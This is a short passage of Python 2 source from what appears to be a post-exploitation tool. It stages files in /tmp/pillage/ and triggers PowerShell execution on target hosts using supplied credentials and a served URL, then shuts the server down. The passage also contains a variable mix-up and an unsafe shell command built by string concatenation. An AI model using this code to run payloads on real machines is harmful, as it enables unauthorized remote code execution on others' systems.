invocation or something) for f in extraFiles: if not os.path.exists(secondStage): print helpers.color(" [!] Error: addtional file '" + f + "' doesn't exist!", warning=True) else: os.system("cp " + f + " /tmp/pillage/") # call the general powershell trigger method with the appropriate url powershellTrigger(targets, username, password, url, scriptArguments, triggerMethod, outFile, noArch) # pause for a bit, and the shut the server down print helpers.color("\n [*] Giving time for commands to trigger...") time.sleep(10) server.shutdown()